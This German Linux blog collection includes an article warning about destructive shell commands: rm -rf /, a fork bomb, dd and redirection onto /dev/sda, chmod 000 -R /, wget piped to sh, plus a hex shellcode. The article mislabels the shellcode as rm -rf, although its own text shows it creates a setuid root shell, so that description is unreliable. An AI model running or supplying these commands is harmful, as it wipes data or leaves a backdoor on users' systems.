Debian Net-Installation

Beispiel mit Ressourcenschonung und Benutzerfreundlichkeit, denn beides muss sich nicht ausschließen.

Inhaltsverzeichnis

  1.  Einleitung
  2. Installationsvoraussetzungen für Debian mit XFCE4
  3. Download
  4. Hash-Prüfung
  5. Datenträger erstellen
  6. Bootmedium starten
  7. Installation
  8. Konfiguration der Benutzerfreundlichkeit
  9. Feintuning
  10. Anhang Programmübersicht
  11. Nachwort
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Gefährliche Befehle, Linux-Bom­ben

Vorwort

Vorsicht, nur in virtuellen Maschinen testen! Als Testsystem hatte ich ein Ubuntu 16.04 in eine virtuelle Maschine installiert und mehrfach kopiert.

Inhaltsverzeichnis

1. rm

Die bekannteste Linux-Bombe ist wohl „rm“, denn es wird oft vergessen den kompletten Pfad anzugeben, auch wenn man in einem Unterverzeichnis ist, denn dieser Befehl geht über die Wurzel. Und es ist auch hoch bezahlten Admins schon passiert.

sudo rm -rf /

Dieser Befehl löscht ohne Nachfrage rekursiv alles ab Wurzelverzeichnis. Alles heißt, alle eingehängte Laufwerke und auch alle Netzlaufwerke.
Funktioniert todsicher! Aber nicht unter dem Ubuntu, dort wird eine Warnung ausgegeben.
Gegenmaßnahme
Ein Fallstrick kann „safe-rm“ sein. Es soll vor unbeabsichtigten löschen helfen. Wer sich aber daran gewöhnt und auf einen anderen/neuen Rechner kein „safe-rm“ installiert hat, dann ist „rm“ ist seiner Gewalt nicht zu bremsen.
Ansonsten hilft auch kein beten.
Quelle
Weiteres in jedem Linux-Handbuch und jeder Unix-Befehlsreferenz.

2. rm -rf in hexadezimal

Ist genauso schädlich:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Unter Ubuntu müssten dazu die Pakete release und bikeshed installiert sein. Hat bei mir unter Ubuntu nicht funktioniert.

3. Forkbomb

Rechner auslasten mit Hintergrundaktivität und damit die CPU mal richtig heiß wird und sich selbst auslötet.

:(){ :|:& };:

Funktion die definiert wird, hier „:()“, ruft sich selbst als Hintergrundaktivität auf und übergibt sich wieder neu und so weiter, also eine typische Forkbomb. Funktioniert unter Ubuntu. Bösartig, es wird am Anfang nicht gleich wahrgenommen und Systemmonitore, wie „Conky“, zeigen durch die 100% ausgelastete CPU keine Veränderungen an.
Gegenmaßnahme
Schutz gibt es, wenn die Datei „/etc/security/limits.conf“ dem entsprechend editiert wird.

4. Copy und Paste

Das Internet hilft bei vielen Gelegenheiten, aber ersetzt nicht das eigene Denken. Kopieren und Einfügen kann gefährlich sein. Hinter einer harmlosen Eingabe wie

echo "Hallo Welt!"

kann man auch

rm -rf /

verstecken.
Gegenmaßnahme
Vorsichtshalber in ein Editor einfügen, hilft aber auch nicht immer :-)

5. Device Null

Das Gerät Null ist tatsächlich entstanden um Daten, die als unwichtig gelten, in das Nichts zu senden.
Doch folgende Befehlszeile löscht das gesamte /home-Verzeichnis des angemeldetem Benutzers.

mv ~ /dev/null

In Ubuntu ist dafür keine Berechtigung vorhanden.
Gegenmaßnahme
Nachdenken, was soll eine Tilde, also das /home-Verzeichnis, mit Null zu tun haben!

6. Operatoren

Gerne nutze ich das Kommando „ls > Verzeichnis.txt“ um mir den Inhalt eines Verzeichnis als Textdatei abzulegen. Und bei Änderungen lege ich mit dem doppelten Operanden „ls >> Verzeichnis.txt“ in der selben Datei am Ende nach.

ls > /dev/sda

Wird aber dieser Befehl ausgeführt überschreibt er die genannte Festplatte mit sich selbst. Statt „ls“ könnte auch ein anderer Befehl genommen werden, die Auswirkung ist gleich, da hier der Operand den Fehler ausübt. In Ubuntu ist dafür keine Berechtigung vorhanden.
Gegenmaßnahme
Immer erst in einer virtuellen Maschine solche Kommandos prüfen.

7. WGET

Ist dieselbe Bequemlichkeit wie kopieren und einfügen. Ein Script wird im Netz zur Verfügung gestellt und nun kann man es einfach durch die Shell ausführen, mit Verhinderung von wichtigen Informationen.

wget http://webseite.com -q | sh

Nur, ob die Beschreibung des Skriptes mit dem tatsächlichem Inhalt übereinstimmt, ist hier nicht plausibel erwiesen.
Hat in meiner Ubuntu-Installation nicht funktioniert.
Gegenmaßnahme
Durch „quiet“ ist es noch nicht mal möglich die Gefahr zu bannen, zum Beispiel mit „Strg+c“.

8. dd

Dieses Kommando ist zum Kopieren gedacht. Hier ist Missbrauch möglich, um Datenträger zu überschreiben.

dd if=/dev/urandom of=/dev/sda

An diesem Beispiel werden Zufallszahlen auf die gesamte Festplatte geschrieben und somit der vorhandene Inhalt gelöscht.
Gegenmaßnahme
Da hab ich es mit Nelson -> „Haha“.

9. Weitere Befehle die vorsichtig angewendet werden sollten.

Die nachfolgenden Kommandos habe ich nicht getestet, erscheinen aber logisch.

sudo chmod 000 -R /

Rechte werden rekursiv entzogen oder keine erteilt wie man´s sieht. Daten bleiben aber erhalten.
Mit umask wären sicherlich auch solche Spielchen möglich.

touch root
sudo chattr +i root

Datei mit +i unveränderlich setzen

sudo chattr -i root

Attribut wieder entfernen

10. Fazit

Das sind wohl einige der bekanntesten Fallgruben. Trotzdem sollte bei angebotener Hilfe das eigene Denken die erste Hürde sein und ein gesundes Maß an Misstrauen, ob andere nicht auch Flüchtigkeitsfehler machen, wäre angebracht.

Quellen

Linux-Handbuch von Kofler, Gallileo-Verlag
Unix-Befehlsreferenzen im Netz
http://www.junauza.com/2008/11/7-deadly-linux-commands.html
https://ppfeufer.de/lokale-linuxssicherheit-oder-wie-entschaerf-ich-die-bombe.html/
https://www.schnatterente.net/software/versteckter-schadcode-gefaehrliche-linux-howtos/2
https://www.heise.de/security/dienste/Copy-Paste-Tricks-1842691.html
https://de.wikipedia.org/wiki//dev/null
https://de.godaddy.com/blog/die-5-gefaehrlichsten-kommandos-in-der-linux-konsole/
https://wiki.ubuntuusers.de/wget/
http://www.linux-community.de/Internal/Nachrichten/Die-7-toedlichsten-Linux-Kommandos

/home umziehen oder Wohnungswechsel

Problem
Die alte Partition oder die alte Festplatte ist zu klein geworden für die eignen Daten. Oder eine schnelle ssd-Festplatte soll jetzt das neue zu Hause werden.

Lösung
Umzug des /home-Verzeichnis auf eine zusätzlich Partition oder/und Festplatte ohne Neuinstallation des bestehenden System.


Inhaltsverzeichnis

Vorwort
1. Vorbereitungen
2. In der Konsole arbeiten
3. Neue /home-Partition einhängen
4. Dateien vom alten /home in das neue /home-Verzeichnis kopieren
5. Altes /home-Verzeichnis löschen
6. Neues /home-Verzeichnis zum booten eintragen
7. reboot
Quellen


Vorwort

Dieser Artikel gilt für Ubuntu-Derivate, für andere Debian-basierenden Distros sind teilweise andere Vorgehensweisen nötig, beispielsweise statt sudo, dann su, wenn man selbst nicht als sudoer eingetragen ist.
Zu beachten ist, dass hier alle Benutzer von /home, außer root, umziehen.
Zu beachten sind außerdem alle Schrägstriche, Anführungszeichen und sonstige Notifikationen; wird ein Zeichen zu viel oder zu wenig gesetzt, wird der Befehl nicht oder sogar falsch ausgeführt, was beispielsweise bei dem Befehl

rm

verheerend sein kann.


1. Vorbereitungen

1.1. Zuerst den Speicherplatz
von /home ermittelt mit
Terminaleingabe:

du -sh /home

Terminalausgabe:

548G	/home

Eine grafische Lösung wäre „gnome-disk-utility“.
1.2. Nun ein Backup
für unvorhergesehen Ereignisse oder geplantes Wiederherstellen durchführen, das Programm „grsync“ wäre eine grafische Lösung. Nicht die „versteckten“ Dateien und Verzeichnisse vergessen, diese beginnen mit einem Punkt im Namen.
1.3. Dann eine neue oder leere Partition
, mit gewünschter Größe auf vorhandener oder zusätzlicher Festplatte erstellen, das Programm „gparted“ wäre eine grafische Lösung. Die Größe sollte mindestens dem Speicherplatz der bisherigen Speichergröße und zusätzlich 20% sein, wegen der temporären Verzeichnisse.


2. In der Konsole arbeiten

2.1. Für ein fehlerfreies Arbeitenwird jetzt die grafische Oberfläche verlassen mit einer Tastenkombination.

Strg+Alt+F1 # bis F6

2.2. Login mit eigenem Benutzernamen und dem dazugehörigem Passwort.
2.3. Administrative root-Rechte für die nachfolgenden Befehle holen und auf die oberste Ebene „/“ gehen.

sudo -s
cd /

3. Neue /home-Partition einhängen

3.1. Eine detailreiche Übersicht der bestehenden Portionen und Festplatten holen.

fdsik -l

3.2. Die Bezeichnung der neuen Partition notieren, etwa wie folgt und hier im weiterem als Beispiel verwendet.

sda3

3.3. Nun ein temporären Verzeichnis erstellen.

mkdir /mnt/tmp

3.4. Diese Verzeichnis in der neuen /home-Partition mounten.

mount /dev/sda3 /mnt/tmp

4. Dateien vom alten /home in das neue /home-Verzeichnis kopieren

4.1. Ein exaktes kopieren mit Prüfung

rsync -avx --progress /home/ /mnt/tmp

4.2. oder schneller kopieren.

cp -avx /home/* /mnt/tmp

4.3. Die neue Partition wird jetzt mounten.

mount /dev/sda3 /home

4.4. Die neue Partition überprüfen.

du -sh /home; mount|grep /home

Die Ausgabe sollte etwa so aussehen.

548G	/home
dev/sda3 on /home type ext4 (rw)

5. altes /home-Verzeichnis löschen

5.1. Ich gehe davon aus, dass das Backup erstellt wurde :-)
5.2. Nun das alte /home-Verzeichnis unmounten.

umount /home

5.3. jetzt kann es rekursiv gelöscht werden.

rm -rf /home/*

6. neues /home-Verzeichnis zum booten eintragen

6.1. Die Identifikation der /home-Partition ermitteln.

blkid

Hier eine beispielhafte Ausgabe.

/dev/sda1: UUID="xxx-x … x-123" TYPE="ext4" PARTUUID="0815-01"
/dev/sda2: UUID="xxx-x … x-345" TYPE="ext4" PARTUUID="0815-02"
/dev/sda3: UUID="xxx-x … x-678" TYPE="ext4" PARTUUID="0815-03"

6.2. Nun die identifizierte Partitionzusätzlich in die Datei „/etc/fstab“ am Ende eintragen mit Hilfe eines Konsoleneditors wie „vi“, „vim“ oder „nano“ als benutzerfreundlichstem.

nano /etc/fstab

6.3. Der zusätzliche Beispieleintrag sehe wie folgt aus.

# /dev/sda3 Die Raute zeigt diesen Text als hilfreichen Kommentar.
UUID=xxx-x … x-678  /home   ext4   defaults   0 2
Bitte eine Leerzeile am Ende belassen.

Speichern in „nano“, „O“ ist ein Buchstabe.

Strg+O

Und „Nano“ beenden.

Strg+X

7. reboot

reboot

Quellen

Praxis: Diese Anleitung wurde praktisch und mit Erfolg angewendet.
Inspiration: https://wiki.ubuntuusers.de/Home_umziehen/
Bild: Frank Rosenberger

Was ist in Windows und Linux gleich?


1 Vorwort

Wenn hier zu gleichem oder ähnlichem zwischen Windows und Linux gesprochen wird, so bezieht sich das bei Linux meist auf eine von mehreren Möglichkeiten oder Optionen. Wogegen bei Windows es oft nur jeweils eine vorhandene Situation existiert.
„Linux“ betrifft in diesem Artikel die Linux-Distribution. Linux-Distributionen sind Zusammenstellungen von einem Linux-Kernel, dem eigentlichem Betriebssystem, einer grafischen Benutzerschnittstelle sowie ein abgestimmtes Portfolio von allgemein bekannten Programme oder wichtiger Alltagshelfer. Auf den Unterschied von Linux-Kernel und Linux-Distribution wird hier nicht weiter eingegangen.
Als Beispiele dienen hier „Windows 7 Home Premium“ und „Xubuntu 16.04 LTS“ die unwesentlich modifiziert sind, beispielsweise werden keine Hintergrundbilder genutzt, wegen der besseren Dokumentation.


2 Grundsätzliches


2.1 Computer

Generell kann man sagen, das auf jedem PC Windows als auch Linux läuft, außer in seltenen Ausnahmen in denen der Hersteller das unterbindet. Zudem läuft Linux auf vielen weiteren Computerplattformen und als embedded System. „Eingebettete Systeme“ sind sehr klein gehaltene Betriebssysteme in Geräten für den Haushalt, die Multimedianutzung sowie Geräte und Automaten der Industrie und Wissenschaft.


2.2 Grafische Benutzeroberfläche

Die grafische Benutzeroberfläche besteht aus heutiger Sicht aus dem Desktop, einem Fenstersystem oder/und dem Fenstermanager. Diese Kombination der grafischen Systeme ermöglicht das Arbeiten mit Zeigesysteme, wie der Maus und der Kombination von Tastatur und Maus.
Unter Windows sind diese Bestandteile sehr monolithisch zusammengesetzt. Linux bietet die Möglichkeit den Desktop und das Fenstersystem, beziehungsweise dem Fenstermanager, nach eigenem Willen zu wechseln oder zu kombinieren.


2.3 Maus und Tastatur

Beide Betriebssystem können mit der Maus und der Tastatur bedient werden, oder ihren Äquivalenzen, wie Touchpad oder kapazitiven Bildschirmen.


2.4 Treiber

Bei neu gekauftem Windows-PC´s, liegt in der Regel eine Treiber-CD-ROM bei und unter Linux werden die Treiber in den Repositorien meist mitgeliefert. Zumindest sind für beide Systeme sehr viele Treiber von allgemein genutzter Hardware vorhanden.


3 Bedienung


3.1 Desktop / Schreibtisch

Das offensichtlichste bei Windows ist der Desktop mit Arbeitsplatz, Papierkorb und „Eigene Dateien“. Die meisten der bekannten Linux-Distributionen, werden mit einer grafischen Benutzerschnittstelle ausgeliefert, die auch das Dateisystem, den Papierkorb und den „Persönlicher Ordner“ anzeigen können. Wobei Linux auch ohne grafische Benutzerschnittstelle auskommt und das sehr gut.

Das obere Bild von Windows und das untere Bild von Linux.


3.2 Taskleiste

Die Taskleiste kann bei beiden Systemen sehr ähnlich bedient werden, mit festsetzen oder ausblenden der Taskleiste sowie Anzeigen des Hauptmenüknopfes und den geöffneten Anwendungen. In beiden Systemen kann dort die Lautstärkenregulierung vorgenommen werden.

Das obere Bild von Windows und das untere Bild von Linux.


3.3 Benachrichtigungsfeld

Windows und die grafischen Linux-Distributionen besitzen beide ein Benachrichtigungsfeld auf der Task­leiste das dort rechts angeordnet ist. Dort wird bei beiden zum Beispiel die Uhrzeit, das Datum, die Netzverbindungen, die Lautstärkeregelungen und aktuelle Meldungen, wie eingehende E-Mails oder der Wechsel der abgespielten Musiktitel, angezeigt. Siehe Bildschirmfotos zu 3.2. Ein kleiner Unterschied besteht darin, das unter Linux alles etwas ausführlicher ist.


3.4 Dateimanager

Was unter Windows der „Explorer“ ist, hat unter Linux verschieden Namen, aber in jedem Fall sind es auch Dateimanager mit vielfältigen Möglichkeiten. Es werden Verzeichnisse und Dateien dargestellt und auf Wunsch mit Vorschaubilder.
Unter Linux ist alles eine Datei, auch Verzeichnisse und Geräte, was das Linux-System robuster macht. Aber in der Darstellung sind beide System sehr gleichartig.

Das obere Bild von Windows und das untere Bild von Linux.


3.5 Fenstersteuerung

Die Fenstersteuerung mit den Schaltern „Minimieren“, „Relativieren“ und „Maximieren“ sind äquivalent. Trotzdem kann auch hier Linux mit Mehrwert punkten, wie dem Einrollen auf bis auf die Titelleiste.
Das Verschieben der Fenster mit festgehaltener Titelleiste können auch beide Systeme. Unter Linux kann zusätzlich bei nicht mehr zu sehender Titelleiste auch mit der gedrückten „Alt“-Taste, für alternative Bedienung, das Fenster verschoben werden.

Das obere Bild von Windows und das untere Bild von Linux.


3.6 Fenstermenüs

Windows und Linux-Distribution kennen beide das „Fenstermenü“. Die in beiden Fällen oft auch mit der Tastatur bedient werden können. Die Bedienung der Menüs über die Tastatur werden oft über die Steuerungstaste „STRG“, der alternativen Bedienungstaste „ALT“, der Drucktaste „DRUCK“ in Kombination mit anderen Tasten genutzt. Die Funktionstasten wie „F1“ für Hilfe und „F11“ für Vollbild stehen in beiden Systemen leider nicht in allen Programmen zur Verfügung.

Das obere Bild von Windows und das untere Bild von Linux.


3.7 Kommandozeile, auch CLI für Command Line Interface

Der Kommandozeileninterpreter unter Windows ist das „cmd“ und Linux besitzt vielfältige „Terminals“. Das „Terminal“ ist ein mächtiges Werkzeug ist, es hat die Schlagkraft einer Nuklearwaffe!
Mit der „PowerShell“ hatte Microsoft versucht den Unterschied zum Linux-Terminal zu beheben.

Das obere Bild von Windows und das untere Bild von Linux.


3.8 Mehrere Benutzer und Multiuser, als gleichzeitige Benutzer

Unter Windows können mehrere Benutzer angelegt werden, wobei ein Benutzer aktiviert werden kann. Der Linux-Kernel ist ein echtes Multiuser-Betriebssystem, also mehrere Benutzer können gleichzeitig produktiv sein, daher auch der Begriff „Terminal“ für CLI, den Kommandozeileninterpreter.


3.9 Eigene Dateien

Windows bietet das Verzeichnis „Eigene Dateien“ zum Ablegen von selbst erstellten Verzeichnissen und Dateien.
• Desktop
• Downloads
• Eigene Bilder
• Eigene Dokumente
• Eigene Musik
• Eigene Videos
• Favoriten
• Gespeicherte Spiele
• Kontakte
• Links
• Suchvorgänge

Unter Linux besteht das exklusive „/home“-Verzeichnis für jeden Benutzer, daher muss nicht mit „eigene“ bezeichnet werden, mit den schon angelegten Verzeichnissen:
• Bilder
• Dokumente
• Downloads
• Musik
• Öffentlich
• Schreibtisch
• Videos
• Vorlagen
Erfahrungsgemäß wird unter Windows aber wild durcheinander gespeichert, wogegen unter Linux etwas mehr Disziplin herrscht durch die strenge Hierarchie der Rechteverwaltung.

Das obere Bild von Windows und das untere Bild von Linux.


3.10 Taskmanager

Die Kontrolle über laufende Anwendungen, Dienste, CPU-Auslastung und Netzwerk-Auslastung, besitzen Windows genauso wie Linux.

Das obere Bild von Windows und das untere Bild von Linux.


3.11 Kontextmenü

Beide System kennen das Kontextmenü, rechte Maus auf das Objekt mit auf das Objekt bezogenen Befehlen, zur Erhöhung der Produktivität. Auf der Tastatur gibt es neben der rechten STRG-Taste, die Steuerungs-Taste, auch eine Kontextmenü-Taste die beide Systeme erkennen.
Menü-Taste

Das obere Bild von Windows und das untere Bild von Linux.


3.12 Tastaturbefehle

Windows beherrscht nur wenige Tastaturbefehle, kann aber mit Fremdprogrammen aufgewertete werden. Linux kann mit sehr vielen Tastaturbefehlen umgehen und sehr schnelle sowie sehr umfangreiche Tätigkeiten ausführen.
Bekannte Tastenkombinationen in beiden Systemen:
• STRG + c, Kopieren
• STRG + x, Ausschneiden
• STRG + v, Einfügen
• ALT + F4, Fenster schließen
• Druck, Bildschirmfoto des gesamten Desktop
• ALT + Druck, Bildschirmfoto des aktiven Fensters
• Kontextmenü-Taste, aufrufen des Kontextmenüs zum ausgewähltem Objekt
• und weitere.


3.13 Systemsteuerung / Einstellungen

Auch die Zentrale für die Computersteuerung und Computereinstellungen ist in beiden System sehr ähnlich.

Das obere Bild von Windows und das untere Bild von Linux.


4 Software


4.1 Editor

Beide Systeme liefern einen Texteditor mit. Unter Linux beherrschen Editoren aber eine wesentliche größere Bandbreite von Editier- und Syntax-Möglichkeiten.

Das obere Bild von Windows und das untere Bild von Linux.


4.2 Standardprogramme der Betriebssysteme

Zu den standardmäßigen Programmen in beiden Systemen gehört neben den schon erwähnten Editor und den Kommandozeileninterpreter auch der sogenannte „Taschenrechner“.

Das obere Bild von Windows und das untere Bild von Linux.


4.3 Bekannte Anwendungsprogramme

Folgende Programme die unter Windows eine weite Verbreitung besitzen, sind bei Linux oft vorinstalliert:
• Firefox, der Webbrowser
• Thunderbird, der E-Mail-Client,
• LibreOffice, die Office-Suite,
• VLC-Player, der Mediaplayer und
• Gimp, das Foto- und Bildbearbeitungsprogramm.
Weitere Programme die unter Windows genutzt werden und unter Linux nativ arbeiten, sind:
• 7Zip, das universelle Komprimierungsprogramm
• Bleachbit, das Bereinigungsprogramm
• Filezilla, das FTP-Programm und
• Inkscape, das grafische Vektorenprogramm.
Weitere ähnliche Programme sind:
• verschiedene kleine Spiele wie Solitär oder Mahjongg
• PDF-Betrachter,
• Bild-Betrachter,
• CD- und DVD-Brennprogramm,
• Scanner-Programm,
• Messenger und
• Torrent-Programm und weitere 70.000 Programme.

4.4 Virenscanner

Unter Linux kaBekannte Anwendungsprogrammenn nachträglich ein Virenscanner, „ClamAV“, mit der grafischen Schnittstelle „ClamTK“ installiert werden, um Windows-Anwender zu schützen, zum Beispiel bei Rettungsaktionen und E-Mail-Anhängen.


5 Nachtrag


5.1 Bilder

Die Bildschirmfotos wurden alle von mir selbst erstellt und können aus dem Dokument entnommen werden. Die Vektorenzeichnungen wurden von mir selbst erstellt, außer dem Tux.
Der Tux ist von hier https://commons.wikimedia.org/wiki/File:Tux.svg.

Beidseitiger Wechsel QEMU und VirtualBox

Nun hatte ich schon qemu vorgestellt. Trotzdem kann es vorkommen das man die VirtualBox vorzieht.
Um die Festplatten-Abbilder nicht neu zu erstellen, kann man diese in beide Richtungen konvertieren. Wobei qemu als, meiner Meinung nach, das bessere und native Programm mehr Formate verwalten kann, als VirtualBox. Denn qemu lädt auch die von der VirtualBox erstellten Abbilder. VirtualBox kann aber die Formate die ich mit qemu erstellt habe, nicht laden.

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Qemu

Aus Sicherheitsgründen und um einen Komfort zu genießen, besitze ich mehrere virtualisierte Betriebssysteme. Früher nahm ich dazu die „VirtualBox“ von „Oracel“. Doch da die Firmenpolitik von „Oracel“ mir nicht gefällt, habe ich mich seit längerem „qemu“ zu gewandt. Hier nun einige Erkenntnissen von mir.

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timbernet-Software in Wine installieren

Windows, Anwendungsprogramme mit Dateiendung *.exe unter Linux

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